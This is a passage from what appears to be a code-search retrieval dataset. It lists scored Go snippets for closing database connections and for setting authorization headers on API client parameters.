"b02671c69b1c8e2739d94104a0d71cd5", "score": "0.7515736", "text": "func (db *Database) Close() error {\n\treturn db.conn.Close()\n}", "title": "" }, { "docid": "b02671c69b1c8e2739d94104a0d71cd5", "score": "0.7515736", "text": "func (db *Database) Close() error {\n\treturn db.conn.Close()\n}", "title": "" }, { "docid": "f4acaa77366f70ae692eba49281cfa93", "score": "0.74953765", "text": "func (db *RocksDB) Close() {\n\tif db.connect != nil {\n\t\tdb.connect.Close()\n\t}\n}", "title": "" }, { "docid": "2d5fd1c3c4524debb9aee04e67820be0", "score": "0.7472901", "text": "func Close() {\n\tdatabase.db.Close()\n}", "title": "" }, { "docid": "ad7f0ef75c5672d5c46c69c70d3ab50e", "score": "0.74551857", "text": "func CloseDB() {\n\tdb.Close()\n}", "title": "" }, { "docid": "ad7f0ef75c5672d5c46c69c70d3ab50e", "score": "0.74551857", "text": "func CloseDB() {\n\tdb.Close()\n}", "title": "" }, { "docid": "5117d54d7abd5c979853330cfffaf525", "score": "0.74532694", "text": "func CloseConnection() {\n\tdb.Close()\n}", "title": "" }, { "docid": "e3f0ac178e02124357261f38e0009184", "score": "0.7448865", "text": "func (db *DB) Close() error {\n\t// Close database connection.\n\tif db.db != nil {\n\t\tdb.db.Close()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3cba298cdc5683b6ed4e0fb567d040cc", "score": "0.74371994", "text": "func Close() {\n\tlogrus.Debug(\"ending the usage of the database\")\n\tdb.Close()\n}", "title": "" }, { "docid": "9a668eb720901e486c7b7398855f77a0", "score": "0.74263346", "text": "func (db *database) Close() error {\n\treturn db.client.Disconnect(context.Background())\n}", "title": "" }, { "docid": "99349488fcec92b735ec0826fd7ad50d", "score": "0.7425563", "text": "func Close() {\n\tdb.Close()\n\tlog.Println(\"Database Closed\")\n}", "title": "" }, { "docid": "7be97a5a985121c1819c9e52b14a28d6", "score": "0.74247354", "text": "func CloseDB() {\n\tDb.Db.Close()\n}", "title": "" }, { "docid": "5b7f5fba5cfca491918bcaf5d90110b3", "score": "0.74181926", "text": "func Close() error {\n\tif db != nil {\n\t\treturn db.Conn.rconn.Close()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "057efd0a55c00eede4a9156ec6d1e7b3", "score": "0.7403853", "text": "func (d *Database) Close() {\n\terr := d.Conn.Close()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n}", "title": "" }, { "docid": "21b304b7d1139548f4d9b5a83ff36b49", "score": "0.7402714", "text": "func (db *DB) Close() { defer db.DB.Close() }", "title": "" }, { "docid": "553ee1395ea669e8cbde06b6224a48ff", "score": "0.7397589", "text": "func (this *DBase) Close() error {\n\treturn this.db.Close()\n}", "title": "" }, { "docid": "37b6988ce8e36e3f88e6ab7d01f290b9", "score": "0.73936015", "text": "func (db *mysqlDB) Close() {\n\tdb.conn.Close()\n}", "title": "" }, { "docid": "df75ee0b0160c34b2f661901ec45d72c", "score": "0.73917264", "text": "func DBClose(tx transaction.Transaction) error {\n\treturn tx.Close()\n}", "title": "" }, { "docid": "3c6b63acfd9380c271cbd212e1cf091e", "score": "0.73847663", "text": "func (d *database) Close() {\n\terr := d.conn.Close()\n\tif err != nil {\n\t\tfmt.Printf(\"Error closing db: %v\\n\", err)\n\t}\n}", "title": "" }, { "docid": "e7855098f110bb0f4af002160aa39175", "score": "0.7369127", "text": "func (db *database) Close() error {\n\treturn db.Db.Close()\n}", "title": "" }, { "docid": "b9f0dc5b6ddc5a9547e6dcee47b9dd09", "score": "0.73593503", "text": "func CloseDBConnection() {\n\tdefer DB.Close()\n}", "title": "" }, { "docid": "fb1811508bb29fc0aaadb8cc0873fa50", "score": "0.735757", "text": "func (db *Database) Close() {\n\tdb.close(true)\n}", "title": "" }, { "docid": "d9b9fe001e99fc78bcc7e1c209024ea6", "score": "0.7351308", "text": "func (d *DBConnection) Close() error {\n\treturn d.db.Close()\n}", "title": "" }, { "docid": "deef3aade45e4033231d6df2af3f81f8", "score": "0.73453546", "text": "func (c *client) Close() {\n\tc.db.Close()\n}", "title": "" }, { "docid": "6810d113fa0f689ff90840f67dafa79c", "score": "0.7341356", "text": "func (db *DB) Close() error {\n\treturn walk(db.cpool, func(conn *sql.DB) error {\n\t\treturn conn.Close()\n\t})\n}", "title": "" }, { "docid": "63d80080d56029cfdb6a37f06ba8ab44", "score": "0.73247147", "text": "func (self *PostgresDatabase) Close() {\n\n\tif self.conn != nil {\n\t\tself.conn.Close()\n\t\tself.conn = nil\n\t}\n}", "title": "" }, { "docid": "58ead9f1865fad2099b333cb99c15a81", "score": "0.73204726", "text": "func Close() {\n\tDB.Client.Close()\n}", "title": "" }, { "docid": "4c5170914e815c31bc4ce4f2bfbdb1aa", "score": "0.7315173", "text": "func Close() {\n\tif db != nil {\n\t\tdb.Close()\n\t\tdb = nil\n\t}\n}", "title": "" }, { "docid": "b4614ef7dcd46f6dfb24d61e16e79cec", "score": "0.73120075", "text": "func (c *Connection) Close() error {\n\treturn c.DB.Close()\n}", "title": "" }, { "docid": "4ad04f311152672becee6b3dbb7a86b5", "score": "0.72976726", "text": "func (db *Database) Close() {\n\tdb.stmtCoinPairs.Close()\n}", "title": "" }, { "docid": "89cf3e32da98008a3bde3ae0052f2336", "score": "0.7289067", "text": "func (db *mongoDB) Close() {\n\tdb.conn.Close()\n}", "title": "" }, { "docid": "ab81a03871d1566f2093a8ba5a69b2a9", "score": "0.7271605", "text": "func Close() error {\n\treturn db.Close()\n}", "title": "" }, { "docid": "ab81a03871d1566f2093a8ba5a69b2a9", "score": "0.7271605", "text": "func Close() error {\n\treturn db.Close()\n}", "title": "" }, { "docid": "e6ebeadef4ee5d6b98116935131efc74", "score": "0.7270011", "text": "func (db DatabaseLayer) Close() {\n\tdb.session.Close()\n}", "title": "" }, { "docid": "d6e05f79004a4669816ad3fea62f4577", "score": "0.72634715", "text": "func (c *Connection) Close() {\n\tdefer c.DB.Close()\n}", "title": "" }, { "docid": "7a4dc1b2315963d143d9b52edf4870d8", "score": "0.72600347", "text": "func (d *Database) Close() error {\n\treturn d.connection.Close()\n}", "title": "" }, { "docid": "1dd17800f334f94ba3acf6c0c960410a", "score": "0.724943", "text": "func (c *Connection) Close() error {\n\terr := c.DB.Close()\n\tif err != nil {\n\t\tc.logger.Log().Errorf(\"error closing connection to %s: %v\", c.params.DBName, err)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "b1eb1866f1821f15685d5b646992756f", "score": "0.7247972", "text": "func Close() error {\r\n\treturn DB.Close()\r\n}", "title": "" }, { "docid": "1627fc7a6b2580cdaf13ac3fb47e430d", "score": "0.72416884", "text": "func (s *Service) Close() error { return s.db.Close() }", "title": "" }, { "docid": "992b4ef57873c7c316fcebec2273c9f8", "score": "0.7234089", "text": "func (db *DB) Close() {\n\tdb.DB.Close()\n}", "title": "" }, { "docid": "35746abb3790735b992b872b30270631", "score": "0.72340876", "text": "func (c *Client) Close() {\n\tc.db.Close()\n}", "title": "" }, { "docid": "35746abb3790735b992b872b30270631", "score": "0.72340876", "text": "func (c *Client) Close() {\n\tc.db.Close()\n}", "title": "" }, { "docid": "19950ea2d294d9f1e8939f8fe2a11099", "score": "0.72301716", "text": "func (db *DB) Close() error {\n\t// Close database.\n\tif db.Db != nil {\n\t\treturn db.Db.Close()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0ec092ced3846a1123d7ddde60e9d9df", "score": "0.72235006", "text": "func (lu *DB) Close() error {\n\treturn lu.db.Close()\n}", "title": "" }, { "docid": "cc456ee78cb369ec9ce54e3b901726d8", "score": "0.7216346", "text": "func (d DB) Close() error {\n\terr := d.conn.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cc456ee78cb369ec9ce54e3b901726d8", "score": "0.7216346", "text": "func (d DB) Close() error {\n\terr := d.conn.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ba6a5ae481a11f99cf1234bc1dcfffa9", "score": "0.7214971", "text": "func Close(con *sql.DB) {\n\tcon.Close()\n}", "title": "" }, { "docid": "f6d104883aea5b96a531dc3d8ebcec2f", "score": "0.7201341", "text": "func (db *DB) Close() error {\n\treturn db.db.Close()\n}", "title": "" }, { "docid": "f6d104883aea5b96a531dc3d8ebcec2f", "score": "0.7201341", "text": "func (db *DB) Close() error {\n\treturn db.db.Close()\n}", "title": "" }, { "docid": "f6d104883aea5b96a531dc3d8ebcec2f", "score": "0.7201341", "text": "func (db *DB) Close() error {\n\treturn db.db.Close()\n}", "title": "" }, { "docid": "f6d104883aea5b96a531dc3d8ebcec2f", "score": "0.7201341", "text": "func (db *DB) Close() error {\n\treturn db.db.Close()\n}", "title": "" }, { "docid": "75cdd08c9ac9a8e5be4a5b9acb6e2348", "score": "0.71978146", "text": "func closeDatabase(sqlite *sql.DB) error {\n\tsqlite.Close()\n\treturn nil\n}", "title": "" }, { "docid": "a4d2d00bb04cc4892a7c674314f5bb79", "score": "0.71965367", "text": "func (c *Client) Close() error {\n\treturn c.db.Close()\n}", "title": "" }, { "docid": "a4d2d00bb04cc4892a7c674314f5bb79", "score": "0.71965367", "text": "func (c *Client) Close() error {\n\treturn c.db.Close()\n}", "title": "" }, { "docid": "79511dfad06caa37ef3858890bf51edf", "score": "0.71911836", "text": "func (b BoltDb) Close() error {\n\treturn b.conn.Close()\n}", "title": "" }, { "docid": "7187142728ddb85498971de048003e87", "score": "0.7188438", "text": "func CloseDB() {\n\tdefer db.Close()\n}", "title": "" }, { "docid": "7187142728ddb85498971de048003e87", "score": "0.7188438", "text": "func CloseDB() {\n\tdefer db.Close()\n}", "title": "" }, { "docid": "f2c267769a02e1d3a88b3415c12a7ba4", "score": "0.71650815", "text": "func (db *Database) Close() error {\n\treturn closeDB(db)\n}", "title": "" }, { "docid": "48515642ac31e6383dfbe8a381955b20", "score": "0.7163819", "text": "func (dataconnection *HashRepository) Close() error {\n\terr := dataconnection.db.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "da7642ea3b8ce38f0c925a651363ee31", "score": "0.71629906", "text": "func (db *levelDB) Close() {\n\tdb.instance.Close()\n}", "title": "" }, { "docid": "be72286705daf1b97fdfb862712a2521", "score": "0.7156796", "text": "func (d *Database) Close() error {\n\treturn d.db.Close()\n}", "title": "" }, { "docid": "0cffd38e7f03c8f1aeb2428f249d7b77", "score": "0.7150855", "text": "func (d *DB) Close() {\n\td.db.Close()\n}", "title": "" }, { "docid": "f61f5f5cb1c2665bacb7a525ad6b29cc", "score": "0.71502614", "text": "func (db *DB) Close() {\n\tdb.session.Close()\n}", "title": "" }, { "docid": "d316915b2b2158deeec952de740b5e79", "score": "0.7145067", "text": "func (g *Generic) Close() (err error) {\n\tif g.db != nil {\n\t\terr = g.db.Close()\n\t}\n\treturn\n}", "title": "" }, { "docid": "f3159f6313759422324fa7358c5f6b87", "score": "0.7142759", "text": "func Close(db *gorm.DB) error {\n\tdbConn, err := db.DB()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve DB connection: %w\", err)\n\t}\n\n\treturn dbConn.Close()\n}", "title": "" }, { "docid": "93ff607f8c4a1ae9fc82fe9f8041f4e7", "score": "0.7140679", "text": "func (db *DB) Close() error {\n\treturn db.Db.Close()\n}", "title": "" }, { "docid": "ab84d04768ea5665439a8f1e7254b2df", "score": "0.7132972", "text": "func (d Database) Close() error {\n\treturn d.db.Close()\n}", "title": "" }, { "docid": "6a6ec8a124f7bffff4c2cfd852240850", "score": "0.7129105", "text": "func (c *Client) Close() error {\n\tif c.db != nil {\n\t\treturn c.db.Close()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9f6b8697edb5d5a393821cbc27bf6be3", "score": "0.71282774", "text": "func (sr *SQLRunner) Close() error {\n\treturn sr.db.Close()\n}", "title": "" }, { "docid": "750aa0022e7c741d7ae8d4795d282c3c", "score": "0.7127246", "text": "func (conn *DBConnection) Close() {\n\t// This closes the connection\n\tconn.session.Close()\n\treturn\n}", "title": "" }, { "docid": "771ece59170dbbe0098c868a7aa71700", "score": "0.7123551", "text": "func (d *DB) Close() error {\n\treturn d.Client.Close()\n}", "title": "" }, { "docid": "fb1f762930df6c568d99e7bea7a1ce21", "score": "0.7115476", "text": "func (db *DB) Close() error {\n\tfor _, stmt := range []*sql.Stmt{db.lastUpload, db.insertUpload, db.checkUpload, db.deleteRecords} {\n\t\tif err := stmt.Close(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn db.sql.Close()\n}", "title": "" }, { "docid": "5db0994272f4e7af93d8e4eeea69c940", "score": "0.7113922", "text": "func (data Database) Close() error {\n\treturn data.client.Close()\n}", "title": "" }, { "docid": "1fd8e5ab2b9327e1eff6c71514b344db", "score": "0.70997304", "text": "func (m *SWDB) Close() error {\n\treturn m.db.Close()\n}", "title": "" }, { "docid": "ce0a4a8027ebfa494355caa84bd3969d", "score": "0.7089594", "text": "func (d BoltDB) Close() error {\n\treturn d.db.Close()\n}", "title": "" }, { "docid": "0e0c70581549fd0974bad15a7d88f238", "score": "0.70759463", "text": "func CloseConnection(db *sql.DB) {\n\tdb.Close()\n}", "title": "" }, { "docid": "168e9e6f8e56a7560c78aba4bf826b9c", "score": "0.70668364", "text": "func (m *DB) Close() error {\n\n\terr := m.main.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = m.replica.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "1f070d3356c451cf03814b678ba8fa25", "score": "0.7066069", "text": "func (b *DB) Close() error {\n\tif b != nil {\n\t\treturn b.client.Close()\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4268e8d837d85a377966c73bd7779424", "score": "0.70650315", "text": "func (db *Database) Close() error {\n\terr := db.DBHandler.Close()\n\treturn err\n}", "title": "" }, { "docid": "a95113b8fc22aa9725efd9ddccef6ad3", "score": "0.7064914", "text": "func DbClose(db *sql.DB) error {\n\terr := db.Close()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "05f733fd4c45045843e3be16833b3db9", "score": "0.7064081", "text": "func (d *Dao) Close() {\n\td.db.Close()\n}", "title": "" }, { "docid": "0a99c794c4620950ce9a34c770663e21", "score": "0.70612764", "text": "func (s *Status) Close() {\n\ts.db.Close()\n}", "title": "" }, { "docid": "da63dfb4bf0d971f27b705dc1f19527f", "score": "0.70604616", "text": "func Close() {\n\topen = false\n\tdb.Close()\n}", "title": "" }, { "docid": "40f38e543c942e96de937ff1005da33c", "score": "0.7053348", "text": "func (db *DB) Close() error {\n\treturn db.DB.Close()\n}", "title": "" }, { "docid": "4522719610ae1dc8687196b8fdef1109", "score": "0.7048187", "text": "func (db *datastoreDB) Close() {\n\t// No op.\n}", "title": "" }, { "docid": "57d03b9d73c791ee76610c62cef8c518", "score": "0.70463043", "text": "func (db *DBM) Close() {\n\tdb.DBase.Close()\n}", "title": "" }, { "docid": "e0f3ef82d5ecdb9801744c3443bf5980", "score": "0.70457613", "text": "func (b *boltdb) Close() error {\n\treturn b.DB.Close()\n}", "title": "" }, { "docid": "e222a0c3299d4afa666f9e61be8a45fe", "score": "0.7042997", "text": "func closeConnection(con *sql.DB) error {\r\n\tcon.Close()\r\n\treturn nil\r\n}", "title": "" }, { "docid": "6b38d937e5526dbc09ff719784af950a", "score": "0.7036825", "text": "func (d *DB) Close() error {\n\treturn d.db.Close()\n}", "title": "" }, { "docid": "337edb2e7d67120c2baf691346f9de23", "score": "0.7036284", "text": "func Close() error {\n\tfnc := \"Close\"\n\n\tif GDb == nil { // already closed -> ok\n\t\treturn nil\n\t}\n\n\terr := GDb.Close()\n\tif err != nil {\n\t\te := Err{Fix: \"LIVEDB:close database failed\"}\n\t\treturn fmt.Errorf(fnc+\":%w:\"+err.Error(), e)\n\t}\n\tGDb = nil\n\n\tLog(\"close database\")\n\n\treturn nil\n}", "title": "" }, { "docid": "347b4e6406d7d74e4df5c72a9dbd46b6", "score": "0.7034809", "text": "func (db *Db) Close() (err error) {\n\treturn db.driver.Close()\n}", "title": "" }, { "docid": "94b0f8adbfdcbcfdbd61daaa921c72ad", "score": "0.7030858", "text": "func (db *DB) Close() (err error) {\n\tif db.boltDB != nil {\n\t\terr = db.boltDB.Close()\n\t\tdb.boltDB = nil\n\t} else {\n\t\terr = ErrNotOpen\n\t}\n\treturn\n}", "title": "" }, { "docid": "a9766957933239863e42085d21b025ec", "score": "0.70303375", "text": "func (db *MySQLDB) Close() error {\n\terr := db.db.Close()\n\treturn err\n}", "title": "" }, { "docid": "33845247a8bee1eb8c610bbb403a9e8a", "score": "0.7026558", "text": "func CloseDb() {\n\tif dbRead != nil {\n\t\tdbRead.Close()\n\t\tdbRead = nil\n\t}\n\tif dbWrite != nil {\n\t\tdbWrite.Close()\n\t\tdbWrite = nil\n\t}\n}", "title": "" } ]
bb95cdd8f60417aa6d6ccf63db9a3061
SetAuthorization adds the authorization to the patch API 24 drives params
[ { "docid": "a61d7c1283181373aca5573b401bc135", "score": "0.72070235", "text": "func (o *PatchAPI24DrivesParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" } ]
[ { "docid": "eea4fa97fd6e6409e3b996e6b582ee09", "score": "0.6697657", "text": "func (o *PatchAPI24AdminsSettingsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "a35bee7b7c9a3fb8bffa9e8410391441", "score": "0.6644513", "text": "func (o *PatchAPI24DrivesParams) WithAuthorization(authorization *string) *PatchAPI24DrivesParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "221eb9c738bbaa847980bc23b41184e5", "score": "0.6554224", "text": "func (o *PostAPI24OffloadsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "9cd5b44ee3edb911db161162e0ba05d2", "score": "0.6552699", "text": "func (o *PatchAPI24SoftwareInstallationsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "2270fe895fbf6f1f2776ee03968b3b84", "score": "0.652646", "text": "func (o *PatchAPI24SyslogServersSettingsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "73842fc9952bd369b0bf13f0b02c5ab5", "score": "0.6361718", "text": "func (o *PatchAppTagsParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "dd40db6ab631be118e9c37515aba54da", "score": "0.6232422", "text": "func (o *GetModeParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "8c402d26b39ad0eeb3198a9368b14468", "score": "0.6225715", "text": "func (o *GetCustomCapabilityPresentationParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "907bb287d96ae1b339c54bc298553fb0", "score": "0.6137347", "text": "func (o *CloneGerritTriggerUsingPOSTParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "75a1d6017ca9803e2724b4ed28f46689", "score": "0.60679716", "text": "func (o *PostAPI24ProtectionGroupsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "cd0c81b473813d96122739018b2b3588", "score": "0.6048611", "text": "func (o *DeleteAPI24VolumesTagsParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "11bc397fa61a94c60a913a8595a96f0b", "score": "0.6044218", "text": "func (_Aggregator *AggregatorTransactor) SetAuthorization(opts *bind.TransactOpts, _requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _Aggregator.contract.Transact(opts, \"setAuthorization\", _requester, _allowed)\n}", "title": "" }, { "docid": "533f998fa5070d4371bb209860547d4a", "score": "0.5975966", "text": "func SetAuthorization(h http.Header, credentials Auth) {\n\th.Set(\"Authorization\", buildAuth(false, credentials))\n}", "title": "" }, { "docid": "3c017c59a6a8edca34d047791942607f", "score": "0.59277457", "text": "func (_ChainlinkOracle *ChainlinkOracleTransactor) SetAuthorization(opts *bind.TransactOpts, _requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _ChainlinkOracle.contract.Transact(opts, \"setAuthorization\", _requester, _allowed)\n}", "title": "" }, { "docid": "93d2d4f0d756d4cc46b532fb4f3b7ef8", "score": "0.5923025", "text": "func (r ApiClientProfilesIdPutRequest) Authorization(authorization string) ApiClientProfilesIdPutRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "f44d355d3a4cb3ea4317c3b0cc303f3f", "score": "0.58187354", "text": "func (o *UpdateRuleParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "add0342b9fbe4e61323785e1fddb2ff4", "score": "0.58099157", "text": "func (o *DeleteCapabilityParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "89bb9f93124bd48c3ad9a9b6401f2c78", "score": "0.5799892", "text": "func (o *PatchServicesServiceIDParams) WithAuthorization(Authorization string) *PatchServicesServiceIDParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "721f2937fdb7befe872abb50eabb6914", "score": "0.5791479", "text": "func (r ApiClientConnectionsPutRequest) Authorization(authorization string) ApiClientConnectionsPutRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "c36d4624959d2a2da81ab92b9d7b8563", "score": "0.5784744", "text": "func (r ApiClientProfilesPostRequest) Authorization(authorization string) ApiClientProfilesPostRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "0ffb9ac677ff1ce4bf645847e87d37fa", "score": "0.5772163", "text": "func (o *PatchAPI24SoftwareInstallationsParams) WithAuthorization(authorization *string) *PatchAPI24SoftwareInstallationsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "91a9a4c6293ff473bae12326fc6a2695", "score": "0.56633615", "text": "func (o *PatchAPI24AdminsSettingsParams) WithAuthorization(authorization *string) *PatchAPI24AdminsSettingsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "5e34446342fc2e65e555aa1134b62473", "score": "0.563378", "text": "func (o *DeleteAPI24DirectoriesPoliciesSnapshotParams) SetAuthorization(authorization *string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "ea8677d538737e763695b6ea7f8202eb", "score": "0.561475", "text": "func (r ApiClientProfilesGetRequest) Authorization(authorization string) ApiClientProfilesGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "05f74ff3cd5a05e2ce6dadfd6cb549f1", "score": "0.5596153", "text": "func (o *GetDeviceProfileTranslationsParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "aa613277c0fffdd22f09031fd28c691e", "score": "0.55940753", "text": "func (r ApiClientProfilesIdGetRequest) Authorization(authorization string) ApiClientProfilesIdGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "de9c499a5d5ec24a6ebb65df8d189dd0", "score": "0.55809325", "text": "func (o *ControllersPublicV1ProxyGetServiceCatalogDetailsParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "481177ee7180e2364913bb7f0d78dcb8", "score": "0.55522645", "text": "func (o *PatchAppTagsParams) WithAuthorization(authorization string) *PatchAppTagsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "6af2c061e878d5666d73976807778ed0", "score": "0.54967135", "text": "func (r ApiClientProfilesIdBarcodeGetRequest) Authorization(authorization string) ApiClientProfilesIdBarcodeGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "693f36f1dd432d58b5db1ad56fb4257c", "score": "0.5471247", "text": "func (_Aggregator *AggregatorTransactorSession) SetAuthorization(_requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _Aggregator.Contract.SetAuthorization(&_Aggregator.TransactOpts, _requester, _allowed)\n}", "title": "" }, { "docid": "5c353f8e50d09f9950925619a6a023e6", "score": "0.5456623", "text": "func (_Aggregator *AggregatorSession) SetAuthorization(_requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _Aggregator.Contract.SetAuthorization(&_Aggregator.TransactOpts, _requester, _allowed)\n}", "title": "" }, { "docid": "65a821b3e97c016e4ff5cc9a85fef949", "score": "0.54403216", "text": "func (r ApiClientConnectionsGetRequest) Authorization(authorization string) ApiClientConnectionsGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "f950474c5a879fe9ae95531444b03e06", "score": "0.54248995", "text": "func (o *GetDocumentDocumentIDParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "4c3b1a8003940e69698f8092eaa9db30", "score": "0.5421729", "text": "func (o *CreateInstanceParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "051e6e26788ad115e4aa05bb1ef26656", "score": "0.54156756", "text": "func (o *PatchAPI24SyslogServersSettingsParams) WithAuthorization(authorization *string) *PatchAPI24SyslogServersSettingsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "85bdf86ffdc22771d4e134dd980fe76e", "score": "0.54112625", "text": "func (o *PostTokenParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "c0a9b070c6c514cb22fd3db83ce0394a", "score": "0.5405495", "text": "func (r ApiClientProfilesIdUrlGetRequest) Authorization(authorization string) ApiClientProfilesIdUrlGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "c18d4757362619257625c566df3e34c5", "score": "0.5388251", "text": "func (o *ControllersPublicV1ProxyGetVcenterClusterParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "0e5df9f0b1c04e960e067f2c1a998321", "score": "0.5360102", "text": "func (_ChainlinkOracle *ChainlinkOracleTransactorSession) SetAuthorization(_requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _ChainlinkOracle.Contract.SetAuthorization(&_ChainlinkOracle.TransactOpts, _requester, _allowed)\n}", "title": "" }, { "docid": "3f25153b7bf23fa0361e43aa2beb301d", "score": "0.53535074", "text": "func (_ChainlinkOracle *ChainlinkOracleSession) SetAuthorization(_requester common.Address, _allowed bool) (*types.Transaction, error) {\n\treturn _ChainlinkOracle.Contract.SetAuthorization(&_ChainlinkOracle.TransactOpts, _requester, _allowed)\n}", "title": "" }, { "docid": "44ba483a1a6d4ecc0d681cc3f727ceb8", "score": "0.53026396", "text": "func (o *PostAPI24OffloadsParams) WithAuthorization(authorization *string) *PostAPI24OffloadsParams {\n\to.SetAuthorization(authorization)\n\treturn o\n}", "title": "" }, { "docid": "7145f41874ff5c64b99a798230a8e650", "score": "0.5300627", "text": "func (o *ApplicationListParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "da15f3f041c1b9d231c2ee4873393e9c", "score": "0.5283875", "text": "func (r ApiClientProfilesIdDeleteRequest) Authorization(authorization string) ApiClientProfilesIdDeleteRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "ee890a33d1d73b7f5b48d6c5f59aa669", "score": "0.52748156", "text": "func (b *ScrapeConfigSpecApplyConfiguration) WithAuthorization(value *monitoringv1.SafeAuthorizationApplyConfiguration) *ScrapeConfigSpecApplyConfiguration {\n\tb.Authorization = value\n\treturn b\n}", "title": "" }, { "docid": "7b54e5d82f0b73acb5ae6b443564906f", "score": "0.52605623", "text": "func (o *PatchCentresCentreIDParams) WithAuthorization(Authorization string) *PatchCentresCentreIDParams {\n\to.Authorization = Authorization\n\treturn o\n}", "title": "" }, { "docid": "b120c38391be44d19e21f54b70170940", "score": "0.5249201", "text": "func (o *ExecuteSceneParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "20de57549c95f68a21248926e5fc78c0", "score": "0.52222013", "text": "func (r ApiClientConnectionsProfileNameBarcodeGetRequest) Authorization(authorization string) ApiClientConnectionsProfileNameBarcodeGetRequest {\n\tr.authorization = &authorization\n\treturn r\n}", "title": "" }, { "docid": "4f064881adaeca21240dc4f41eaddd20", "score": "0.517635", "text": "func (o *ListScenesParams) SetAuthorization(authorization string) {\n\to.Authorization = authorization\n}", "title": "" }, { "docid": "de8ce5f6b37007a555f8720d12aecefb", "score": "0.5132343", "text": "func Authorization(authorizationType, credentials string) WebPart {\n\treturn SetHeader(HeaderKeyAuthorization, fmt.Sprintf(\"%s %s\", authorizationType, credentials))\n}", "title": "" }, { "docid": "e4fce92d85e4081810b0eb167a5e848a", "score": "0.5072245", "text": "func SetAuthorizationToken(token string) auth.Option {\n\treturn internal.SetRequesterBearerToken(token)\n}", "title": "" }, { "docid": "7e5a6c5f551910573854d1b08d217496", "score": "0.5062474", "text": "func (wr *WalletRegistry) CallUpdateAuthorizationParameters(\n\targ__minimumAuthorization *big.Int,\n\targ__authorizationDecreaseDelay uint64,\n\targ__authorizationDecreaseChangePeriod uint64,\n\tblockNumber *big.Int,\n) error {\n\tvar result interface{} = nil\n\n\terr := chainutil.CallAtBlock(\n\t\twr.transactorOptions.From,\n\t\tblockNumber, 